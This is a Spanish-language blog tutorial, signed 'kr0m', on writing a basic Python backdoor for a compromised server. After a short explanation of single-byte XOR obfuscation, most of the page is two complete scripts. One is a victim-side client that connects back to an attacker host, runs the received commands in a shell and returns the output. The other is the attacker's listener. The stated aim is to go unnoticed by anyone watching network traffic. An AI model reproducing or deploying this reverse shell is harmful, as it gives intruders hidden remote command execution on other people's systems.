Esta pagina se ve mejor con JavaScript habilitado

Backdoor python con conexión reversa y cifrado básico

 ·  🎃 kr0m

En este pequeño tutorial vamos a ver como programar un backdoor muy básico con soporte para conexiones reversas y ofuscamiento del tráfico de red de este modo si alguién está mirando el tráfico con algún tipo de sniffer pasaremos desapercibidos. La idea es simular una shell remota en el servidor comprometido.

El cifrado utilizado es muy básico y mas que un cifrado se podría decir que se trata de un ofuscamiento de los comandos a ejecutar de este modo si alguién está mirando el tráfico de red con algún tipo de sniffer no llamará mucho la atención.

Se trata de hacer un XOR de cada uno de los carácteres del comando con el carácter A que en la tabla ASCII es(CHAR/Dec/Hex/Bin): A/65/0x41/%01000001

Por lo tanto si escribimos el char A: Por lo tanto si escribimos el char B: Por lo tanto si escribimos el char C:
%01000001 %01000001 %01000001
%01000001 %01000010 %01000011
%00000000 -> 0 -> ^@ %00000011 -> 3 -> ^C %00000010 -> 2 -> ^B

Habiendo escrito ABC en el tráfico de red solo se vería: ^@^C^B

Una vez explicado el ofuscamiento vamos con el código del cliente:

#!/usr/bin/python
import socket,subprocess,sys
 
RHOST = sys.argv[1]
RPORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
 
while True:
     data = s.recv(1024)
 
     # Decodificamos el comando a ejecutar aplicando el XOR
     de_data = bytearray(data)
     for i in range(len(de_data)):
       de_data[i] ^=0x41
 
     # Ejecutamos el comando via subprocess
     comm = subprocess.Popen(str(de_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
     STDOUT, STDERR = comm.communicate()
 
     # Codificamos la salida del comando y se la enviamos al host remoto
     en_STDOUT = bytearray(STDOUT)
     for i in range(len(en_STDOUT)):
       en_STDOUT[i] ^=0x41
     s.send(en_STDOUT)
s.close()

Ahora el código del servidor:

#!/usr/bin/python
import socket
 
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 443))
s.listen(2)
print "Listening on port 443... "
(client, (ip, port)) = s.accept()
print " Received connection from : ", ip
 
while True:
    # Codificamos el comando a ejecutar y lo enviamos
    command = raw_input('~$ ')
    encode = bytearray(command)
    for i in range(len(encode)):
        encode[i] ^=0x41
    client.send(encode)

    # Decodificamos la salida del comando remoto
    en_data=client.recv(2048)
    decode = bytearray(en_data)
    for i in range(len(decode)):
        decode[i] ^=0x41
    print decode
 
client.close()
s.close()
Si te ha gustado el artículo puedes invitarme a un RedBull aquí